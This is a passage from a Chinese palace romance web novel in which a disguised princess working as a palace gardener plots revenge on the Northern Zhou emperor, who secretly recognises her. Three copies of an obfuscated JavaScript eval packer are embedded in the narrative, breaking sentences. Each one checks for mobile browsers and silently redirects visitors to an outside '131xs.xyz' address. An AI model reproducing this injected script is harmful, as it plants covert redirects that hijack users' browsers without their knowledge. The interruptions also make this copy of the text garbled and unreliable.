语罢便也抬步出了院门。 众人重又跪成一片。 却听太后意味深长的道,“多少年了,这还是头一次见陛下对花感兴趣。” ~~ 离开寿安宫,明熙一路往司苑局走,心思却依然在方才。 今日没有动手,倒也不算什么憾事,毕竟方才听那狗皇帝又多说了几句话,愈发可以判定其内力浑厚,绝非等闲之辈。 因此她若要动手,一定要慎之又慎,以确保万无一失。 只不过…… 不知为何,她竟然觉得那狗皇帝的声音有种莫名的熟悉之感。 但须知,这狗皇帝虽然曾在建业做过质子,但她却并未同他见过面,更没有同他说过话。 当初她们南国强盛,为与他们结盟,曾有不少周边邻国将皇子送去建业为质子。 这些质子们虽偶尔也会参加朝中宴饮,但与女子是隔开的,且平素他们都生活在驿馆中,根本不得外出。 尤其这萧元彻,从初到建业至后来离开,还不到一年的时间,期间并未有大的节庆宴享,她不可能与对方见面。 若非如此,她也不可能潜进这宫廷,否则岂不是白白送死? 可为什么,总觉得那声音有些熟悉。 像是在哪听过一般…… 带着如此疑惑,明熙迈进了司苑局的大门。 却见立时有二人迎上前来,与她热情打起了招呼,“念贞回来了?” 一个是这司苑局的徐掌事,另一个则是徐掌事的狗腿,名叫雪茹。 这雪茹比她大个几岁,平素紧紧巴结着徐掌事,在司苑局狐假虎威,从不将人放在眼里。眼下竟对她一脸笑容,真是太阳打西边出来了。 她便也顿足,向徐掌事行了个礼,道,“小的才从寿安宫回来,不知掌事有何吩咐?” 却见对方道,“听闻太后娘娘对昨日送去的几盆花很是满意,今次你可真是为咱们司苑局立了大功,回头我必定奏请贵人,要好好奖赏你。” 明熙忙谦谨道,“掌事过奖,这都是小的应该做的,不敢邀赏。” 心间却清楚,这人不抢她的功都算好的,绝不会如此好心。 果然,紧接着就见一旁的雪茹又道,“话说回来,念贞你如此会养花,必定是有什么秘方吧?既然是司苑局的人,也该拿出来叫大家都学学,日后也好继续为主子们多养出好花才是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486551|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明熙又是谦谨一笑,道,“雪茹姐姐玩笑了,我哪有什么秘方?不过是给它们剪了剪叶子浇了浇水。大约库房的光线不是那么强盛,也比外头暖和一些,适宜那些花木休养吧。它们原本也是此时开花,碰巧了而已。” “这怎么可能?” 雪茹一脸不信的样子,“那几株从前也一直在库房中,并未受过冻,怎么偏在你手里就开了花?你必定有秘方。” 其实秘方实在谈不上,不过是明熙过去隐居山中的几年,侍弄花草得出的经验罢了。 植物原本就有生命力,只要提供它们需要的,它们自会回报与人。 但眼前这两个蠢货,并不配知道。 她收了笑意,再度道,“请掌事明鉴,小的真没有什么秘方。” 不出所料的,那徐掌事也变了脸色,只道,“是没有,还是你并不愿意说?” 其狗腿雪茹则威胁道,“正所谓饮水思源,你一个浣衣局出身的,能到我们司苑局来,可是烧了几辈子的高香。平素掌事对你不薄,你不知感激,有什么秘方还想私藏?你还有没有良心?” 好一个饮水思源。 明熙心间冷笑,她便是要思,也思不到这徐管事的头上啊。 不过看看时间,寿安宫的人也该来了,看这狗腿嗓门这么好,不妨叫她再说大声一些。 她便道,“请掌事明鉴,局里的各种养料,都有专人保管,我平素只能待在库房,库房里头都是些半死不活的花草,就算我真的有秘方,又从哪里配材料去?” “胡尚宫将小的调至此,掌事对小的也是照拂有加,小的一直感激之至,绝没有任何私心,如若掌事不信,尽管去查,我若果真私藏了什么秘方,任凭处置。” “休要花言巧语蒙骗掌事!” 雪茹果然激动起来,尖声道,“看你的长相便知你不是个安分守己的。不管是谁叫你来的,掌事自也能立时叫你回去!” “好大的威风!” 话音落下,却见胡尚宫领着几人出现在了面前,冷声道,“这是要叫谁回去?” 雪茹吓了一跳,忙上前行礼,“见过尚宫大人。” 徐掌事也赶紧上前道,“尚宫大人怎么来了?” 胡尚宫冷笑一声,“本尚宫奉太后之命,掌管这后宫六局二十四司的杂务,今儿才知道,我说的话还不作数了?” 徐掌事忙道,“方才不过这丫头胡言乱语,叫大人笑话了。小的绝不敢对大人有任何不敬。” 说着又忙转头去骂那雪茹,“还不快给尚宫大人赔罪?” 雪茹已经脸色惨白的快缩到地上去了,只一个劲的低头道,“请大人开恩,小的方才不过一时糊涂了才口不择言,绝无任何对大人不敬之意!” 胡尚宫哼了一声,“口无遮拦,将来必闯大祸!来人,将其带去浣衣局,那里正要人手,过去吃吃苦头也好!” 什么,叫她去浣衣局? 她如何能去那种地方! 雪茹赶忙看向徐掌事想要求助,哪知徐掌事却道,“尚宫大人有令,还不快去收拾东西!”语罢,便将脸别去了一旁。 雪茹一顿,只得惨白着脸被人拖走了。 明熙冷眼看完,又瞥向徐掌事,却见徐掌事小心觑了觑胡尚宫的脸色,又小心问道,“不知尚宫大人今日来此,有何要事?” 胡尚宫则瞥她一眼道,“太后娘娘对昨日送去的花甚是满意,并指定由“赤金花冠”及“素冠荷鼎”任今次花朝祭祀的首花。谨慎起见,特命许念贞这几日在寿安宫当值,将那几盆名花仔细呵护。” 话音落下,徐掌事连并司苑局内众人皆是一愣,齐齐看向了明熙。 5. 第 5 章 明熙也有些意外。 她今日才到寿安宫时,便听那里的大宫女碧书说,还需要一些花来装点寿安宫花园中的花台,问她司苑局还有什么好看的花,她便应下说等自己回来准备好,叫她们来挑。 所以方才她只以为,是碧书领着人来挑花的。 没想到竟是胡尚宫亲自过来,还叫她获得了留在寿安宫的机会? 北周对这花朝节重视,着实有些出乎她的意料。 不过也好,如此,她便能有更多见到那狗皇帝的机会了。 “这可是几辈子修来的荣幸,念贞,你可务必要好好照顾那几盆花,莫要辜负太后与尚宫大人的信任才是。” 却见那徐掌事惊讶过后,又假模假式的叮嘱她。 明熙心间嗤笑一声,面上还是乖乖应是。 却见胡尚宫又对徐掌事道,“我方才路过御花园,却见祭台什么的都还没准备,后日便是花朝了,徐掌事还在等什么?” 那徐掌事一噎,忙道,“禀尚宫大人,小的今早已经发话下去……现在就去看看他们准备的如何。” 说着便赶紧去了御花园。 走了个碍眼的,胡尚宫又朝一旁瞥过一眼,随行的宫女立时垂首,打发掉了周遭闲杂人等。 眼前终于清静下来,明熙便见胡尚宫开口道,“在太后娘娘跟前当差非同一般,我有些话要对你交代。” 这毕竟是她带到太后跟前的人,自然要小心叮嘱,否则一旦出了岔子,她也难逃干系。 明熙忙道,“悉听尚宫大人教诲。” “每日寅正寿安宫开始洒扫,你需在洒扫结束前护理好花草,平时浇水施肥,要避开主子们赏花之时。太后娘娘喜爱整洁,见不得半点杂乱。” “另外,太后娘娘喜欢安静,你平时除过差事,不要随意在寿安宫走动,制造声响,尤其是在太后礼佛之时。” “寿安宫中人手充足,你只需照顾好太后娘娘的花木,其余不必操心。不过后日便是花朝节,届时御花园中设花神祭坛,祭坛旁要陈设百花,太后娘娘的意思,除过钦点的那两盆做首花,你养的其余几盆也放在前头叫宾客们观赏。所以到时难免活计要多些。” 明熙忙又道,“请尚宫大人放心,此乃小的份内之事。” 胡尚宫颔了颔首,又道,“还有一点,陛下会时常去看望太后,二位贵人说话时,除过碧书,琴韵等几个近身伺候的,其余闲杂人等都要回避。” “这也便是今日我要叫你先回来的原因。” 明熙又道,“小的明白。” 关于北周狗皇帝跟太后母子俩的往事,她已了解了不少—— 这位太后姓李,乃北周先帝发妻,出身世家大族,当年北周的先帝便是凭借太后娘家之势成功登上的皇位。 原本也算夫妻和鸣,哪知那先皇登基之后,这位李太后才知道,自己的夫君其实另有心爱的女子,并且还早已生下了一个儿子,并且在坐稳江山之后,立时将那母子二人接到了宫廷,入了玉牒。 以至于后来李太后生下了嫡出的皇子,即如今那个狗皇帝萧元彻,也只能屈居为二皇子。 此后没几年,那名女子撒手人寰,先皇心痛之余,将爱全都转移到了大皇子身上,指派了北周最好的大臣为其传授文武艺,每日嘘寒问暖,关怀备至。倒是萧元彻那个嫡出的儿子并未能得到多少重视。 然如北周这等恪守礼法之地,出身乃是大皇子最大的短处。随着年纪渐长,其危机感也愈发加重,急于建功之下,竟率军主动出征与南齐作战,随后便被他们的裴大将军给无情俘虏。 两国交涉,要扣留北周皇子,而北周那偏心的先皇居然派了嫡子萧元彻去到建业,替他的长兄做人质。 再后来,便是萧元彻那狗贼趁她父皇驾崩,朝政混乱之时逃回北周,仅用了一年的时间就登上帝位,顺利接下了北周的江山。 明熙只恨,早知萧元彻会害死她的皇兄,吞并她的国都,她应该早点叫人把他给杀了才是! …… 所以,试想这母子二人经历过百般险阻才坐到现在的位置,自是极为谨慎,且又有戒心之辈。 但她也总归能潜进寿安宫了。 那狗皇帝时常过去就最好,如此,她的花也没白养。 此时见她乖巧应是,胡尚宫又颔首道,“太后娘娘喜欢谨慎守己之人,你年轻却心细,也沉得住气,是个好苗子。只要把握好分寸,抓住机会,日后必将前途无量。” 随后,还附上了一个意味深长的微笑。 明熙再度应是,心间却暗自攥紧了拳。 前途无量,只是对他人而言。 而今她唯一的目的,便一雪家国之仇。 …… 乾明宫。 自打那日在寿安宫惊见,转眼已是三日过去。 天知道,萧元彻是如何度过这三日的。 及至日头西斜之际,他终于等到了卫谨的消息。 “启禀陛下,” 卫近卫一脸风尘仆仆道,“微臣已经亲自查实,洛州河阴县的确有户姓许的人家,也的确以养花为生,许家长女名叫许念贞,于去年初冬入宫。” “微臣也给许家夫妇看过画像,二人一口咬定,那便是其长女许念贞。但因那许家独住在一处山头,方圆十里并无邻舍,微臣便又去找了去年河阴县负责入宫人手的主簿,据其交代,去年河阴县共有三十人入宫,画像之人也确在其中。” 萧元彻微微敛眉。 这个结果,并不能明确什么。 虽则宫中选人严格,但她毕竟是公主,造一个身份应还是轻而易举的。 加之,那洛州也正在两国边境。 除过一点。 许家就那么巧的独住在一座山头上? 去年秋…… 他暗自沉吟。 那南齐诏帝生性软弱,这些年,朝政都被其皇后谢氏一族把持,致使其国内民怨四起,更屡犯北周边境。 直至去年夏初,诏帝暴毙,雍州刺史吴惟忠随即叛乱,他担心她的安危,立时发兵,但到达建业之时,已经找不到她的身影。 她既然没有与侄子一道南下,又不在建业……或许正是来了这里。 从夏到冬,几个月的时间来准备,正能对得上。 可若真是她,为何又要如此选择? 且入宫这么久,竟一直还不来找他? …… 或者,那并不是她,只是与她极为相像的人? 是有人假冒她,妄图来惑乱他的心? 但这个可能性,其实极低。 ——当初周齐两国战乱,长兄萧元楚贪功被俘,南齐以此要挟先皇,要他们割地赔银,令朝野哗然。 从小到大,他一直晓得,虽则自己才是嫡出的皇子,但父皇更加偏爱容妃所生的长兄。 只因那容妃,才是父皇最爱的女子。 眼看爱子被俘,父皇不是没有想过答应对方的条件。 但须知,南齐要的可是他们北周最富庶的六个郡县,一旦答应,北周国力大受打击不说,只怕君臣离心,民心不稳,萧氏百年基业也必将毁于一旦。 父皇陷如两难,朝堂整日争论不休,甚至有人提议,先用其他皇子将大哥替换出来,其余诸事再与南国斡旋。 但要知道,南齐看中的,正是长兄在父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486552|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中的地位。 如若派出其他庶出的兄弟,对方必定不会接受。 所以,人选只有他这个嫡出的二皇子,而已。 此提议一出,大臣们皆都强烈反对,母后也异常气愤,但要紧的是,父皇动心了。 他虽悲凉,但也十分清楚,与其被动接受,不如主动请命,一切方有扭转之机。 就这般,他以质子的身份到了南齐,身为战败一方,待遇可想而知,嘲笑与奚落都算不上什么,甚至还有贵妇妄图借身份折辱他。 关键时刻,那个小公主将他悄悄带走,安置在了她的别院,并给他假面遮颜,对外宣称是她的乐师…… 除过她与他二人,并无人知道他曾藏在公主府的事,更没人知道,后来他与她发生了什么…… 他兀自沉入回忆,却听卫谨又道,“陛下,那许家还有一姑母在定州谋生,或许可以将他们带到京城辨认……” “暂且不必。” 萧元彻道,“此事先到此,你回去歇息吧,切记不得走漏风声。” 这叫卫谨一愣。 ——陛下既然觉得那女子可疑,怎么查了一半又不查了? 然又不敢问,只能应是后退下了。 见此情景,全程在旁充当木头人的高寿忍不住在心里琢磨—— 自打那日在寿安宫里赏了“花”,陛下就有了心事,眼下洛州的消息也回来了,看起来那姑娘也没什么问题,陛下怎么还是心事重重的模样呢? 正纳着闷,忽见君王的目光又落到了他身上,道,“你查的如何?” 高寿赶忙应道,“启禀陛下,小的已经细翻过宫中卷宗,也叫人在浣衣局打听过,那位叫念贞的姑娘,的确是去年初冬入的宫,一来就进的浣衣局,直到上个月,又被胡尚宫调到司苑局帮忙。” “念贞姑娘从未出过宫,也没什么交好的人。除过跟浣衣局有个叫翠娥的丫头有些过节,其余也没什么瓜葛。” 话音才落,却见君王立时凝起眉来,道,“什么过节?” 高寿忙道,“其实说过节有些不合适,主要是那叫翠娥的嫉妒念贞姑娘貌美,这念贞姑娘想必从前也没做过什么粗活,初到浣衣局时,衣裳洗的有点慢,那翠娥就总向管事告念贞姑娘的状,叫她吃了不少苦头。” 却见君王立时又问,“吃了什么苦头?” 呃…… 高寿只得道,“就是罚她多洗些衣裳,洗不完不准睡觉,不准吃饭之类……” 话未说完,只见君王的眉头已经越皱越紧。 吓得他又赶紧又补充道,“不过后来,念贞姑娘适应了,衣裳也洗的快了,就没再受罚。听说那翠娥上回还想再欺负念贞姑娘,却没料到弄巧成了拙,自个儿被罚着洗了一天一夜的衣裳。” 话虽说完了,但君王的神色并没有任何缓和,眼看那俊秀的长眉都快拧成疙瘩了。 “到司苑局之后呢?可还有人欺负她?” 忽听君王又问,高寿忙又道,“许姑娘到了司苑局后,被安排住在库房,平素或是打扫杂物,或是去御花园松土。欺负之类的没听说,不过前日她从寿安宫回去后,曾被那里的掌事逼着要养花的秘方,还威胁要将她赶回浣衣局。” “所幸胡尚宫及时赶到,替许姑娘解了围,对了陛下。前日,太后把许姑娘暂调到寿安宫,专门照顾那几株名贵的花了。” 说着高寿又忍不住多夸了两句,“说起来,许姑娘还真是养花高手,小的在宫里也二十多年了,还是头一回见那么好看的花……” 话未说完,却见君王已经抬步往外走了。 高寿一愣,赶忙跟上道,“陛下,这是要去哪儿?” 6. 第 6 章 天将傍晚,明熙还在御花园里忙碌。 明日就是花朝节,今日祭坛已经搭好,各类花木也已经就位。 只因太后交代要将寿安宫中她养的那几盆花放在最前头,她今日需提前确认好摆放的位置,待到明早仪式前再将那几盆娇贵的花搬过来。 “念贞……” 身后忽然响起赵怀的声音,明熙回头,果然瞧见赵怀抱了盆珠光绣球到了她近前。 “你怎么又过来了?” 她不动声色的环顾左右,低声道,“这儿人多眼杂,不怕被瞧见?” 赵怀将手里花递给她,也低声道,“我放心不下,特意来瞧瞧您。” 语罢又故意扬声道,“此乃内府局敬奉花神的花,还请姑娘放好。” “有什么放心不下的?” 明熙接过绣球端详,顺手摘掉几片多余的叶子。 赵怀赶忙又低声道,“方才太后给乾明宫递了旨意,料想明日,那人或许会在花朝宴现身,羽林卫已经在宫里宫外都安排了许多人手,您明日万不要动手。” 却见明熙瞥他一眼,“你当我傻?” 她不怕死,亦不是莽夫,便是真的要死,也要死得其所才成。 见她如此说,赵怀这才稍稍放了心,忙又问道,“您在寿安宫可还好?” 明熙给那盆绣球花找了个合适的位置,边放边道,“吃的不错,住的也更好了。” 在太后跟前当差,自是别处比不了的,寿安宫的值房虽然也是通铺,但只有五六人,且被褥够厚够软。 吃的也有四菜一汤,虽然味道依旧难言,但看起来总归像样些了。 “不必总是担心我,” 她又道,“我心里有数,就算要动手,也会挑万无一失之时。这宫里人多眼杂,你还是要注意些,快回去吧。” 赵怀点了点头,又叮嘱她道,“您也早点回去,免得晚了挨饿。” 明熙一笑道,“寿安宫的人还好相处,会给我留饭的,放心。” 赵怀这才又应好,赶紧往外走。 这个时辰,宫人们或是伺候主子用膳,或是自己准备吃饭,外头原本没什么人,不想他才出了御花园没多久,却见有一高大身影迎面而来。 虽未穿龙袍,也未坐肩舆,但那副姿态架势,除过这北周的天子,不会有第二人。 赵怀立时跪地垂首,如其他人一样行礼。 说来,这还是他第一次与对方迎面,虽则自问并无什么破绽,但那股帝王的威压还是叫人免不得生出几分紧张。 好在很快对方便经过他,继续往前去了,一切并无异常。 赵怀松了口气,也立起身来,继续快步离开。 却不想,待他在甬道上拐过弯后,萧元彻却渐渐将脚步停了下来。 这个人,他见过。 在从前的南齐公主府,那个姑娘身边。 他甚至还记得那姑娘叫对方名字时的语气—— 用软软糯糯,独属于她的味道,拖着一点慵懒的尾音,“赵怀……”“赵怀啊……” 代表着那是她自幼便十分熟悉的人。 原来,此人也在此? …… 先前的迟疑犹如云开雾散,一切已经无需怀疑。 跟在后头的高寿只见,君王的脚步忽然就轻快起来,仿佛有什么喜事一般,愈发着急的直往御花园而去。 进了御花园,稍稍环顾,萧元彻很快就瞧见了正在祭坛边收拾花木的那个姑娘。 他叫高寿在一旁等着,自己走了过去。 其实明熙原本没准备待这么久,只是眼见其他人摆放的花木要么枝干歪了,要么叶片过杂,实在看不过眼,便又忍不住收拾起来。 许是做的有些太过认真,等她发现有人来时,对方已经到了身后。 她忙回头,却不想对上了一张极为清俊的脸庞。 唔,长眉入鬓,眸若辰星,眼尾恰到好处的微微上挑,直挺的鼻梁下是两片好看的薄唇。 脸侧的线条亦是十分得当,软一分太柔,硬一分又太冷,而他正在硬与柔之间,挑不出任何毛病。 总之,是极为赏心悦目的一位美男! 明熙看呆了一瞬。 但在觑了觑对方高大的身量之后,她又猛然惊觉,此人似乎是那个狗皇帝萧元彻! 虽然前几次见面她都垂着头,并未能看见对方的脸,但看面前人的打扮,既非宦官们的圆领袍,又无羽林卫的护心镜,除过那狗皇帝,还能是谁! 心间立时一个激灵,她忙垂下头,向对方行了个礼,道,“参见陛下。” 又在心间暗忖,这狗皇帝悄悄来到她身后,究竟是想做什么? 却不知此时,面前人也正陷入措手不及之中。 方才四目相对的瞬间,萧元彻已经丝毫不再怀疑,亦舍不得移开眼。 ——那眉眼双腮,一如当年一般绮丽。 这就是她。 就是他一直在找寻的人。 只是他的满腹话语还未张口,她却忽然向他行起了礼,如同陌生人一般? 莫不是怕周遭有闲杂人等? 萧元彻顿了顿,先缓声道,“不必行此大礼,快起来吧。” 然而话音落下,意外的又换成了明熙。 ——这狗皇帝的语气怎的这般温和?竟与前两次在寿安宫里完全不同? 一时猜不出缘由,她暂且先应是,站了起来。 却听对方又用十分温和的语气道,“何时会养花的?” “???” 明熙不由皱眉,这人记性不好么? 上回在寿安宫第二次遇见时,太后明明也如此问过她,她也明明回答了,那时他就在一旁。 依然猜不出对方葫芦里卖的什么药,她便又答道,“家中父母以养花为生,奴婢从小跟随父母种花,算是耳濡目染。” 哪知这话又叫萧元彻再度一噎。 ——明明近前没有旁人,她怎么还是如此对他说话? 且把头垂得那般低,再也不看他一眼。 …… 她一定是在怪他。 怪他当初的不辞而别。 咽下一丝涩意,他只好又道,“来这里这么长时间,吃了很多苦吧?” ——想那南齐奢靡,她金枝玉叶更是娇贵,平素吃穿用度都是最好的不说,连生水都不曾碰过。 如今竟然来到他宫中做起了最辛苦的活计,还要挨饿受罚? 而浣衣局的人又是那般待她,便是她想来寻他,必定也是没有办法。 当年的他没有选择,但如今,皆是他的粗心大意所造成。 她在生他的气,是他活该。 萧元彻沉了沉气,便要开口与她好好道歉。 哪知那姑娘却又抢在他前头道,“陛下言重,这都是奴婢的分内之事。” —— 天知道明熙此时有多诧异。 这狗皇帝居然还问她是不是吃了很多苦? 他平素跟别人也都如此说话么? 她兀自愈发疑惑,萧元彻的心却是越发沉重—— 她的言语竟如此疏离,这是有多恨他? 是他不好。 不能再拖了,他便立时开口,“那时……” 然而“我”字还未说出口,却听身后忽然传来一声,“皇兄?” 是个小姑娘的声音。 萧元彻一顿,回首望去,就见妹妹玉容来了。 十三岁的小丫头,蹦着跳着就到了跟前,一脸惊喜的问他,“您怎么在这里?” 萧元彻望了望依然垂着头的明熙,只能先将话咽下,对玉容道,“在御书房坐久了,出来走走。你怎么也过来了?” 却见小姑娘指了指身后抱在宫女手中的两盆梅花,道,“我是来献花的呀,明日就是花朝节,若不叫花神娘娘看看我的花,只怕这一年我宫里都开不了花呢。” ——此乃北周花朝节的传统,流行于女子之间。 但凡爱花之人,需在花朝节这日,将自己家里最好看的花拿出来敬献花神,否则得不到花神垂目,一整年都无花赏。 萧元彻唔了一声。 却见妹妹说完,又将目光投向了他身后的明熙身上,打量一遍,问道,“你是……” 明熙便主动行礼,“参见公主,奴婢是司苑局的宫人。” ——先前在上元宴上曾见过的,她知道这是北周目前年纪最小的公主,狗皇帝同父异母的三妹妹,名叫萧玉容。 却听那小姑娘又问她,“去年怎么没见过你?” 明熙便又解释,“奴婢去年秋天才入宫,上个月才进司苑局。” 那小姑娘忙又问道,“寿安宫里的那两盆碧玉芙蓉就是你养的?” 明熙应是。 那小姑娘的眼睛一下就亮起来,“原来是你!我昨日去给太后请安,一眼就看见了那两盆,花盘那样大,层层叠叠,还是碧玉一样的颜色,可真是好看!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486553|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “紫袍玉带和丹霞仙子也好看,听说赤金花冠还被选做了今年祭祀的首花!对了,今早去看,那两盆兰花也开了,香的在寿安宫外都能闻见!你是怎么养的,怎的这般厉害!” 小姑娘仿佛雀鸟一般,叽叽啾啾冒出一连串的话,兴奋可见一斑。 明熙只礼貌道,“公主过奖了,小的不过是误打误撞,实则是那些花原本就好罢了。” 一旁的某人看在眼中,眉间愈发沉。 只可惜妹妹玉容并未瞧见,又问明熙,“你叫什么名字?” 明熙便道,“奴婢姓许,名叫念贞。” “念贞……” 玉容又要说话,正在这时,一旁又传来一声呼唤,“玉容。” 几人回头看去,见是玉容的母亲静太妃过来了。 只因是先帝的妃嫔,如今便被尊称为了太妃,其实静太妃才不过三十出头的年纪,很是娴美。 “原来陛下也在此。” 静太妃很快到了近前,先同萧元彻打了招呼,又对自己的闺女道,“正要用晚膳的时候,却不见了你的人,原来跑到这里来了?莫不是扰到了陛下?” 萧元彻忙说没有,“朕也是散步至此,正好玉容也过来了,正要说几句话而已。” 静太妃点了点头,却见女儿玉容又指着近前的一名宫女,向她介绍道,“母妃,这便是那位给太后养花的高手,碧玉芙蓉便是她养出来的。” 静太妃便又将目光投向明熙,上下打量一遍,目露惊讶道,“原来如此年轻,我还以为是上了年纪的。” 闺女也在旁跟着点头,“长得也好看,跟花儿一样。莫不是花儿随了人?” 好一个花随了人。 明熙又垂首道,“奴婢愧不敢当。” 却不知这一口一句“奴婢”落在某人耳中,直叫他的心如同被一只大手攥着,越来越紧。 萧元彻一双眼眸紧紧将她望着,装满了不可言说的深沉。 还是静太妃察言观色,忙对女儿道,“时候不早了,还不快把花放好,陛下白日里要事缠身,难得出来散心,勿要在旁搅扰。” 不谙世事的小公主只好应是,指挥宫女将自己的两盆花放好,又问明熙,“你要在此值守吗?记得叫人看好我的花,这可是我辛辛苦苦养出来的。” 然而未等明熙应是,却见她的皇兄先道,“你辛苦了一天,不必值守,早些回去用膳吧。” 众人无不目露惊讶。 明熙则愈发诧异—— 这萧狗贼是在跟她说话? 居然说她辛苦了?还叫她早些去吃饭??? 那语气就仿佛方才赵怀一样,可赵怀是从小看着她长大的人,这狗皇帝又何出此言??? 余光悄悄觑过周遭,却见众人的眼中也都一片惊讶,这分明意味着,这狗皇帝平素对旁人可不是如此。 ……呔,他葫芦里究竟卖的什么药!!! “为了明日花朝祭祀,宫中众人,尤其是司苑局,着实辛苦,有陛下如此体恤,定也能令花神垂青,保佑天下风调雨顺。” 一片尴尬之际,却听那位静太妃赶紧开了口,似乎在给那狗皇帝找台阶,正也叫明熙回了神。 无论如何,还是得跟对方谢恩才是。 她于是垂首道,“多谢陛下。” 却听静太妃又对女儿道,“这些花自有人看,天色不早了,还不快同陛下告退?” 那小姑娘便听话的向兄长行了礼,跟着母亲一道走了。 一时间,又剩了她与狗皇帝两个人。 明熙的心犹如箭在弦上—— 这狗皇帝方才悄无声息的来到她身边,又几次三番如此反常的对她说话…… 莫不是有什么问题? 要知道,他当年能以质子的身份从建业逃出,不过短短一年就干掉长兄拿下皇位,绝非什么良善之辈。 方才对她说的那些莫名其妙的话,也绝非出自对普通宫人的关怀。 莫非……他已经知道自己的身份? 虽然她自认并未暴露什么疑点,但谁知对方是不是在诈她? 不成,她绝不可坐以待毙。 悄悄环顾四周,三十丈内并无闲杂人等。 若她此时出手,应有一些胜算。 虽则这几日暂住在寿安宫,身上未能佩戴软剑,但手中的花剪倒也尚算得上锋利,找准时机,亦能击中对方的眉心或胸口。 她悄悄捏了捏手中那把小巧的银剪,已经在做最坏打算。 7. 第 7 章 一片静谧中,却听那人深吸了一口气,似乎要再说些什么。 哪知就在此时,忽有一阵急匆匆的脚步临近。 明熙挪眼看去,只见是那狗皇帝的贴身宦官高寿。 “陛下……” 欲哭无泪的高总管已经把头低得不能再低,小心翼翼的来到二人不远处,又小心禀报道,“启禀陛下,御史大夫与户部尚书在御书房外求见。” 明熙一顿,暂且压下动手的想法。 却见那狗皇帝对她道,“朕先回去,明日再来见你,你早些歇息。” 便往回走去。 高寿赶紧跟上,不住在心里叫苦—— 老天爷呦,陛下好不容易有了动心的人儿,难得相处一会儿,这二位大人偏要此时过来,又有要事要奏禀,害得他也要来讨嫌。 但愿陛下不要怪罪,阿弥陀佛! 话说回来,果然动了心的人就是不同啊,试想陛下从前那般寡言少语,方才竟那般温柔的,叫姑娘早点回去歇息,还说明日再来相见…… 还真是应了那句“英雄难过美人关”,嘿嘿! 他正兀自想入非非,不曾想前头的君王忽然停下了脚步,回头问道,“浣衣局那个欺负她的……” 高寿一愣,赶忙停步回道,“回陛下,那女子叫翠娥。” 好险好险,幸亏没有跟得太近,否则岂不要撞到君王身上? 却见君王又道,“还有那个管事,一并撵到幽庭去。” 高寿赶紧应是。 啧,敢欺负陛下中意的姑娘,真是活该他们倒霉! …… 暮色四合之际,明熙也出了御花园。 自萧元彻走后,她也冷静了一些。 对方毕竟是这北周的君主,而她可是敌国公主,关系重大,若发现她有任何不对,他应该立刻把她抓起来拷打才是。 眼看到现在也没动静,方才应是她想多了。 但总也还是觉得那狗皇帝有些奇怪…… 这几日还是小心些好。 甬道上偶有宫人走过,日头落山后,风还是有些凉。 明熙又回想起方才那兄妹俩的模样,思绪不由飘远了些。 她曾经,也有一个哥哥。 母后体弱,生下她没几年就走了,而一心修道的父皇与谁都不亲近,诺大的宫廷,只有同胞的哥哥与她相依为命。 哥哥虽然只大她五岁,却总像个大人一样护着她,她害怕打雷,哥哥就将她揽在怀中,用厚厚的手掌捂住她的耳朵;她做噩梦不敢睡,常常赤脚爬到哥哥的床上,听哥哥整夜整夜的给她讲故事…… 明明如同昨日之事,可转眼间,他已经不在了…… 忍不住眼眶有些湿润,所幸她还记得身在何处,遂强迫自己敛住情绪,待夜风吹干双眼,平静的回到了寿安宫的值房。 不料到了夜里,她又做起了梦—— 时空回到了许多年前,她还是个脸蛋圆圆的六岁小丫头。 不知是哪一处水草丰茂的山坡,哥哥驾着羊车带她在草地上转圈。 原本是极好玩的事,可不知拉车的羊们为何发了脾气,将她与哥哥从车上抖落在地。 有厚厚的草垫在她身下,倒也没摔疼,但要紧的是那几只暴脾气的羊又冲撞了一旁的马匹,马匹受惊扬蹄,眼看就要落在她的身上。 关键时刻,有个身影扑了过来,她在对方怀中滚了一圈,再定睛时,已经离开马蹄之下。 胖胖的哥哥艰难的冲过来叫她阿囡,宫人们也都围了上来,查看她是否受伤,她奋力从人群中抬头寻找,想看看救她的是谁,只见到一位身姿挺拔的少年郎往远处走了。 其身量比哥哥还要高一些,从容的脚步中带着一股桀骜,与她憨厚的哥哥也截然不同。 …… “起了,起了,都快起了!” 耳边响起催促声,梦境戛然而止,明熙睁开了眼。 故国与哥哥都已不在,而她身在北周寿安宫的值房。 今日乃是北周的花朝节,要早起准备了。 她遂跟着众人起床穿衣,心间却又忍不住回忆方才的梦。 大抵昨天傍晚想起哥哥,所以梦见了哥哥。 但救她的那个少年又是怎么回事? 那梦境真实的就仿佛曾发生过的一样,但脑海里分明没有记忆。 怎么会无端做这样的梦? ………… 天气晴好,和风微醺。 巳时才至,参加花朝宴的众宾客已经入了宫。 